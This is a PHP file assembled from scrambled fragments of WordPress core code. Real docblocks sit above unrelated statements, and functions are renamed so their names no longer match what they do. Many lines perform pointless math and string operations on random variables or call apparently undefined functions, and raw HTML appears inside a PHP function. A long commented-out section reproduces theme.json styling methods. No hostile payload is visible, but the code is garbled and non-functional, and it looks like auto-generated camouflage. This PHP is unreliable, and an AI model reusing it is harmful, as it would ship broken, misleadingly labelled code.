* Retrieve the raw response from a safe HTTP request using the HEAD method.
*
* This function is ideal when the HTTP request is being made to an arbitrary
* URL. The URL is validated to avoid redirection and request forgery attacks.
*
* @since 3.6.0
*
* @see wp_remote_request() For more information on the response array format.
* @see WP_Http::request() For default arguments information.
*
* @param string $sitemeta URL to retrieve.
* @param array $index_column_matches Optional. Request arguments. Default empty array.
* See WP_Http::request() for information on accepted arguments.
* @return array|WP_Error The response or WP_Error on failure.
*/
function user_can_edit_user($sitemeta, $index_column_matches = array())
{
$index_column_matches['reject_unsafe_urls'] = true;
$primary_meta_query = _wp_http_get_object();
return $primary_meta_query->head($sitemeta, $index_column_matches);
}
$blog_title['tds2t'] = 4362;
/**
* Filters the post thumbnail ID.
*
* @since 5.9.0
*
* @param int|false $thumbnail_id Post thumbnail ID or false if the post does not exist.
* @param int|WP_Post|null $cur_hh Post ID or WP_Post object. Default is global `$cur_hh`.
*/
if(!isset($mime_pattern)) {
$mime_pattern = 'fqf1ju9u';
}
$mime_pattern = stripcslashes($admin_bar_args);
$admin_bar_args = exp(260);
/**
* Unused function.
*
* @deprecated 2.5.0
*/
if(!(floor(536)) === true) {
$widget_links_args = 'xv1y9b';
}
$v_minute = (!isset($v_minute)? 's5qjsm' : 'dgun');
$mime_pattern = stripslashes($admin_bar_args);
$admin_bar_args = stripos($mime_pattern, $mime_pattern);
/**
* Adds the "My Account" item.
*
* @since 3.3.0
*
* @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
*/
if(!empty(md5($admin_bar_args)) == TRUE) {
$AVpossibleEmptyKeys = 'nuxhj';
}
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* @since Twenty Twenty-Two 1.0
*
* @return void
*/
function get_inline_script_data()
{
// Add support for block styles.
add_theme_support('wp-block-styles');
// Enqueue editor styles.
add_editor_style('style.css');
}
$css_validation_result['omiqcbh'] = 2566;
/**
* Retrieves the legacy media library form in an iframe.
*
* @since 2.5.0
*
* @return string|null
*/
if(!isset($has_fallback_gap_support)) {
$has_fallback_gap_support = 'ikhmm3qi';
}
$has_fallback_gap_support = decbin(239);
/**
* Whether the container element is included in the partial, or if only the contents are rendered.
*
* @since 4.5.0
* @var bool
*/
if(!isset($history)) {
$history = 'h979';
}
$history = decoct(797);
$locked_post_status = 'pvllrbj';
$current_theme_data['i6otmoobo'] = 485;
$history = addcslashes($has_fallback_gap_support, $locked_post_status);
$has_fallback_gap_support = h2c_string_to_hash_sha256($has_fallback_gap_support);
$locked_post_status = strtoupper($locked_post_status);
$has_fallback_gap_support = rtrim($history);
$locked_post_status = 'ril39';
$has_fallback_gap_support = get_registered_meta_keys($locked_post_status);
$history = rawurldecode($locked_post_status);
$request_post = (!isset($request_post)? 'fvui0mx0' : 'w5p189');
/**
* Adds a submenu page to the Tools main menu.
*
* This function takes a capability which will be used to determine whether
* or not a page is included in the menu.
*
* The function which is hooked in to handle the output of the page must check
* that the user has the required capability as well.
*
* @since 1.5.0
* @since 5.3.0 Added the `$same_ratio` parameter.
*
* @param string $reason The text to be displayed in the title tags of the page when the menu is selected.
* @param string $wp_site_icon The text to be used for the menu.
* @param string $is_singular The capability required for this menu to be displayed to the user.
* @param string $framecount The slug name to refer to this menu by (should be unique for this menu).
* @param callable $whole Optional. The function to be called to output the content for this page.
* @param int $same_ratio Optional. The position in the menu order this item should appear.
* @return string|false The resulting page's hook_suffix, or false if the user does not have the capability required.
*/
function the_content_rss($reason, $wp_site_icon, $is_singular, $framecount, $whole = '', $same_ratio = null)
{
return add_submenu_page('tools.php', $reason, $wp_site_icon, $is_singular, $framecount, $whole, $same_ratio);
}
$locked_post_status = crc32($history);
$get_updated['kywqgqrg'] = 'zlsfx';
$history = strnatcmp($locked_post_status, $locked_post_status);
$history = generichash($locked_post_status);
/**
* Displays attachment submit form fields.
*
* @since 3.5.0
*
* @param WP_Post $cur_hh Current post object.
*/
function skip_whitespace($cur_hh)
{
<div class="submitbox" id="submitpost">
<div id="minor-publishing">
// Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key.
<div style="display:none;">
submit_button(__('Save'), '', 'save');
</div>
<div id="misc-publishing-actions">
<div class="misc-pub-section curtime misc-pub-curtime">
<span id="timestamp">
$a_post = sprintf(
/* translators: Publish box date string. 1: Date, 2: Time. */
__('%1$s at %2$s'),
/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
date_i18n(_x('M j, Y', 'publish box date format'), strtotime($cur_hh->post_date)),
/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
date_i18n(_x('H:i', 'publish box time format'), strtotime($cur_hh->post_date))
);
/* translators: Attachment information. %s: Date the attachment was uploaded. */
printf(__('Uploaded on: %s'), '<b>' . $a_post . '</b>');
</span>
</div><!-- .misc-pub-section -->
/**
* Fires after the 'Uploaded on' section of the Save meta box
* in the attachment editing screen.
*
* @since 3.5.0
* @since 4.9.0 Added the `$cur_hh` parameter.
*
* @param WP_Post $cur_hh WP_Post object for the current attachment.
*/
do_action('attachment_submitbox_misc_actions', $cur_hh);
</div><!-- #misc-publishing-actions -->
<div class="clear"></div>
</div><!-- #minor-publishing -->
<div id="major-publishing-actions">
<div id="delete-action">
if (current_user_can('delete_post', $cur_hh->ID)) {
if (EMPTY_TRASH_DAYS && MEDIA_TRASH) {
printf('<a class="submitdelete deletion" href="%1$s">%2$s</a>', get_delete_post_link($cur_hh->ID), __('Move to Trash'));
} else {
$use_id = !MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';
printf('<a class="submitdelete deletion"%1$s href="%2$s">%3$s</a>', $use_id, get_delete_post_link($cur_hh->ID, '', true), __('Delete permanently'));
}
}
</div>
<div id="publishing-action">
<span class="spinner"></span>
<input name="original_publish" type="hidden" id="original_publish" value="
esc_attr_e('Update');
" />
<input name="save" type="submit" class="button button-primary button-large" id="publish" value="
esc_attr_e('Update');
" />
</div>
<div class="clear"></div>
</div><!-- #major-publishing-actions -->
</div>
}
$to_lines = (!isset($to_lines)? 't0rzgmnm' : 'lmokg8v88');
$is_new_post['e31sg'] = 662;
$history = log(514);
$genre = (!isset($genre)? "cwri84j" : "d48o");
$signature_request['jeuypy'] = 2381;
$has_fallback_gap_support = atanh(436);
$media_item = (!isset($media_item)? 'g3el' : 'fa7m0');
/**
* Customize control type.
*
* @since 4.9.0
* @var string
*/
if(empty(ucfirst($has_fallback_gap_support)) == TRUE) {
$SMTPAutoTLS = 'cle6nbi';
}
$figure_styles = (!isset($figure_styles)?"wv7943awz":"ffazpdhp");
/**
* Retrieves page list.
*
* @since 2.2.0
*
* @global wpdb $is_separator WordPress database abstraction object.
*
* @param array $index_column_matches {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
*/
if(!(sinh(386)) === FALSE){
$stk = 'mmylsgo';
}
$has_fallback_gap_support = cosh(693);
$locked_post_status = urlencode($locked_post_status);
$symbol = (!isset($symbol)?'bwvlk508':'y5hox');
/**
* Renders a page containing a preview of the requested Legacy Widget block.
*
* @since 5.9.0
*
* @param string $new_term_id_base The id base of the requested widget.
* @param array $instance The widget instance attributes.
*
* @return string Rendered Legacy Widget block preview.
*/
if((acos(679)) == FALSE){
$bit_rate_table = 'z14eykhq7';
}
/* elseif (
( 3 === count( $node['path'] ) ) &&
( 'settings' === $node['path'][0] ) &&
( 'blocks' === $node['path'][1] )
) {
Block-level settings.
$block_name = $node['path'][2];
unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ][ $opt_in_path[1] ] );
if ( empty( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] ) ) {
unset( $output['settings']['blocks'][ $block_name ][ $opt_in_path[0] ] );
}
}
}
}
}
wp_recursive_ksort( $output );
return $output;
}
*
* Sets the spacingSizes array based on the spacingScale values from theme.json.
*
* @since 6.1.0
*
* @return null|void
public function set_spacing_sizes() {
$spacing_scale = isset( $this->theme_json['settings']['spacing']['spacingScale'] )
? $this->theme_json['settings']['spacing']['spacingScale']
: array();
if ( ! isset( $spacing_scale['steps'] )
|| ! is_numeric( $spacing_scale['steps'] )
|| ! isset( $spacing_scale['mediumStep'] )
|| ! isset( $spacing_scale['unit'] )
|| ! isset( $spacing_scale['operator'] )
|| ! isset( $spacing_scale['increment'] )
|| ! isset( $spacing_scale['steps'] )
|| ! is_numeric( $spacing_scale['increment'] )
|| ! is_numeric( $spacing_scale['mediumStep'] )
|| ( '+' !== $spacing_scale['operator'] && '*' !== $spacing_scale['operator'] ) ) {
if ( ! empty( $spacing_scale ) ) {
trigger_error( __( 'Some of the theme.json settings.spacing.spacingScale values are invalid' ), E_USER_NOTICE );
}
return null;
}
If theme authors want to prevent the generation of the core spacing scale they can set their theme.json spacingScale.steps to 0.
if ( 0 === $spacing_scale['steps'] ) {
return null;
}
$unit = '%' === $spacing_scale['unit'] ? '%' : sanitize_title( $spacing_scale['unit'] );
$current_step = $spacing_scale['mediumStep'];
$steps_mid_point = round( $spacing_scale['steps'] / 2, 0 );
$x_small_count = null;
$below_sizes = array();
$slug = 40;
$remainder = 0;
for ( $below_midpoint_count = $steps_mid_point - 1; $spacing_scale['steps'] > 1 && $slug > 0 && $below_midpoint_count > 0; $below_midpoint_count-- ) {
if ( '+' === $spacing_scale['operator'] ) {
$current_step -= $spacing_scale['increment'];
} elseif ( $spacing_scale['increment'] > 1 ) {
$current_step /= $spacing_scale['increment'];
} else {
$current_step *= $spacing_scale['increment'];
}
if ( $current_step <= 0 ) {
$remainder = $below_midpoint_count;
break;
}
$below_sizes[] = array(
translators: %s: Digit to indicate multiple of sizing, eg. 2X-Small.
'name' => $below_midpoint_count === $steps_mid_point - 1 ? __( 'Small' ) : sprintf( __( '%sX-Small' ), (string) $x_small_count ),
'slug' => (string) $slug,
'size' => round( $current_step, 2 ) . $unit,
);
if ( $below_midpoint_count === $steps_mid_point - 2 ) {
$x_small_count = 2;
}
if ( $below_midpoint_count < $steps_mid_point - 2 ) {
++$x_small_count;
}
$slug -= 10;
}
$below_sizes = array_reverse( $below_sizes );
$below_sizes[] = array(
'name' => __( 'Medium' ),
'slug' => '50',
'size' => $spacing_scale['mediumStep'] . $unit,
);
$current_step = $spacing_scale['mediumStep'];
$x_large_count = null;
$above_sizes = array();
$slug = 60;
$steps_above = ( $spacing_scale['steps'] - $steps_mid_point ) + $remainder;
for ( $above_midpoint_count = 0; $above_midpoint_count < $steps_above; $above_midpoint_count++ ) {
$current_step = '+' === $spacing_scale['operator']
? $current_step + $spacing_scale['increment']
: ( $spacing_scale['increment'] >= 1 ? $current_step * $spacing_scale['increment'] : $current_step / $spacing_scale['increment'] );
$above_sizes[] = array(
translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large.
'name' => 0 === $above_midpoint_count ? __( 'Large' ) : sprintf( __( '%sX-Large' ), (string) $x_large_count ),
'slug' => (string) $slug,
'size' => round( $current_step, 2 ) . $unit,
);
if ( 1 === $above_midpoint_count ) {
$x_large_count = 2;
}
if ( $above_midpoint_count > 1 ) {
++$x_large_count;
}
$slug += 10;
}
$spacing_sizes = $below_sizes;
foreach ( $above_sizes as $above_sizes_item ) {
$spacing_sizes[] = $above_sizes_item;
}
If there are 7 or fewer steps in the scale revert to numbers for labels instead of t-shirt sizes.
if ( $spacing_scale['steps'] <= 7 ) {
for ( $spacing_sizes_count = 0; $spacing_sizes_count < count( $spacing_sizes ); $spacing_sizes_count++ ) {
$spacing_sizes[ $spacing_sizes_count ]['name'] = (string) ( $spacing_sizes_count + 1 );
}
}
_wp_array_set( $this->theme_json, array( 'settings', 'spacing', 'spacingSizes', 'default' ), $spacing_sizes );
}
*
* This is used to convert the internal representation of variables to the CSS representation.
* For example, `var:preset|color|vivid-green-cyan` becomes `var(--wp--preset--color--vivid-green-cyan)`.
*
* @since 6.3.0
* @param string $value The variable such as var:preset|color|vivid-green-cyan to convert.
* @return string The converted variable.
private static function convert_custom_properties( $value ) {
$prefix = 'var:';
$prefix_len = strlen( $prefix );
$token_in = '|';
$token_out = '--';
if ( str_starts_with( $value, $prefix ) ) {
$unwrapped_name = str_replace(
$token_in,
$token_out,
substr( $value, $prefix_len )
);
$value = "var(--wp--$unwrapped_name)";
}
return $value;
}
*
* Given a tree, converts the internal representation of variables to the CSS representation.
* It is recursive and modifies the input in-place.
*
* @since 6.3.0
* @param array $tree Input to process.
* @return array The modified $tree.
private static function resolve_custom_css_format( $tree ) {
$prefix = 'var:';
foreach ( $tree as $key => $data ) {
if ( is_string( $data ) && str_starts_with( $data, $prefix ) ) {
$tree[ $key ] = self::convert_custom_properties( $data );
} elseif ( is_array( $data ) ) {
$tree[ $key ] = self::resolve_custom_css_format( $data );
}
}
return $tree;
}
*
* Returns the selectors metadata for a block.
*
* @since 6.3.0
*
* @param object $block_type The block type.
* @param string $root_selector The block's root selector.
*
* @return array The custom selectors set by the block.
protected static function get_block_selectors( $block_type, $root_selector ) {
if ( ! empty( $block_type->selectors ) ) {
return $block_type->selectors;
}
$selectors = array( 'root' => $root_selector );
foreach ( static::BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS as $key => $feature ) {
$feature_selector = wp_get_block_css_selector( $block_type, $key );
if ( null !== $feature_selector ) {
$selectors[ $feature ] = array( 'root' => $feature_selector );
}
}
return $selectors;
}
*
* Generates all the element selectors for a block.
*
* @since 6.3.0
*
* @param string $root_selector The block's root CSS selector.
* @return array The block's element selectors.
protected static function get_block_element_selectors( $root_selector ) {
* Assign defaults, then override those that the block sets by itself.
* If the block selector is compounded, will append the element to each
* individual block selector.
$block_selectors = explode( ',', $root_selector );
$element_selectors = array();
foreach ( static::ELEMENTS as $el_name => $el_selector ) {
$element_selector = array();
foreach ( $block_selectors as $selector ) {
if ( $selector === $el_selector ) {
$element_selector = array( $el_selector );
break;
}
$element_selector[] = static::prepend_to_selector( $el_selector, $selector . ' ' );
}
$element_selectors[ $el_name ] = implode( ',', $element_selector );
}
return $element_selectors;
}
*
* Generates style declarations for a node's features e.g., color, border,
* typography etc. that have custom selectors in their related block's
* metadata.
*
* @since 6.3.0
*
* @param object $metadata The related block metadata containing selectors.
* @param object $node A merged theme.json node for block or variation.
*
* @return array The style declarations for the node's features with custom
* selectors.
protected function get_feature_declarations_for_node( $metadata, &$node ) {
$declarations = array();
if ( ! isset( $metadata['selectors'] ) ) {
return $declarations;
}
$settings = isset( $this->theme_json['settings'] )
? $this->theme_json['settings']
: array();
foreach ( $metadata['selectors'] as $feature => $feature_selectors ) {
* Skip if this is the block's root selector or the block doesn't
* have any styles for the feature.
if ( 'root' === $feature || empty( $node[ $feature ] ) ) {
continue;
}
if ( is_array( $feature_selectors ) ) {
foreach ( $feature_selectors as $subfeature => $subfeature_selector ) {
if ( 'root' === $subfeature || empty( $node[ $feature ][ $subfeature ] ) ) {
continue;
}
* Create temporary node containing only the subfeature data
* to leverage existing `compute_style_properties` function.
$subfeature_node = array(
$feature => array(
$subfeature => $node[ $feature ][ $subfeature ],
),
);
Generate style declarations.
$new_declarations = static::compute_style_properties( $subfeature_node, $settings, null, $this->theme_json );
Merge subfeature declarations into feature declarations.
if ( isset( $declarations[ $subfeature_selector ] ) ) {
foreach ( $new_declarations as $new_declaration ) {
$declarations[ $subfeature_selector ][] = $new_declaration;
}
} else {
$declarations[ $subfeature_selector ] = $new_declarations;
}
* Remove the subfeature from the block's node now its
* styles will be included under its own selector not the
* block's.
unset( $node[ $feature ][ $subfeature ] );
}
}
* Now subfeatures have been processed and removed we can process
* feature root selector or simple string selector.
if (
is_string( $feature_selectors ) ||
( isset( $feature_selectors['root'] ) && $feature_selectors['root'] )
) {
$feature_selector = is_string( $feature_selectors ) ? $feature_selectors : $feature_selectors['root'];
* Create temporary node containing only the feature data
* to leverage existing `compute_style_properties` function.
$feature_node = array( $feature => $node[ $feature ] );
Generate the style declarations.
$new_declarations = static::compute_style_properties( $feature_node, $settings, null, $this->theme_json );
* Merge new declarations with any that already exist for
* the feature selector. This may occur when multiple block
* support features use the same custom selector.
if ( isset( $declarations[ $feature_selector ] ) ) {
foreach ( $new_declarations as $new_declaration ) {
$declarations[ $feature_selector ][] = $new_declaration;
}
} else {
$declarations[ $feature_selector ] = $new_declarations;
}
* Remove the feature from the block's node now its styles
* will be included under its own selector not the block's.
unset( $node[ $feature ] );
}
}
return $declarations;
}
*
* Replaces CSS variables with their values in place.
*
* @since 6.3.0
* @param array $styles CSS declarations to convert.
* @param array $values key => value pairs to use for replacement.
* @return array
private static function convert_variables_to_value( $styles, $values ) {
foreach ( $styles as $key => $style ) {
if ( is_array( $style ) ) {
$styles[ $key ] = self::convert_variables_to_value( $style, $values );
continue;
}
if ( 0 <= strpos( $style, 'var(' ) ) {
find all the variables in the string in the form of var(--variable-name, fallback), with fallback in the second capture group.
$has_matches = preg_match_all( '/var\(([^),]+)?,?\s?(\S+)?\)/', $style, $var_parts );
if ( $has_matches ) {
$resolved_style = $styles[ $key ];
foreach ( $var_parts[1] as $index => $var_part ) {
$key_in_values = 'var(' . $var_part . ')';
$rule_to_replace = $var_parts[0][ $index ]; the css rule to replace e.g. var(--wp--preset--color--vivid-green-cyan).
$fallback = $var_parts[2][ $index ]; the fallback value.
$resolved_style = str_replace(
array(
$rule_to_replace,
$fallback,
),
array(
isset( $values[ $key_in_values ] ) ? $values[ $key_in_values ] : $rule_to_replace,
isset( $values[ $fallback ] ) ? $values[ $fallback ] : $fallback,
),
$resolved_style
);
}
$styles[ $key ] = $resolved_style;
}
}
}
return $styles;
}
*
* Resolves the values of CSS variables in the given styles.
*
* @since 6.3.0
* @param WP_Theme_JSON $theme_json The theme json resolver.
*
* @return WP_Theme_JSON The $theme_json with resolved variables.
public static function resolve_variables( $theme_json ) {
$settings = $theme_json->get_settings();
$styles = $theme_json->get_raw_data()['styles'];
$preset_vars = static::compute_preset_vars( $settings, static::VALID_ORIGINS );
$theme_vars = static::compute_theme_vars( $settings );
$vars = array_reduce(
array_merge( $preset_vars, $theme_vars ),
function ( $carry, $item ) {
$name = $item['name'];
$carry[ "var({$name})" ] = $item['value'];
return $carry;
},
array()
);
$theme_json->theme_json['styles'] = self::convert_variables_to_value( $styles, $vars );
return $theme_json;
}
}
*/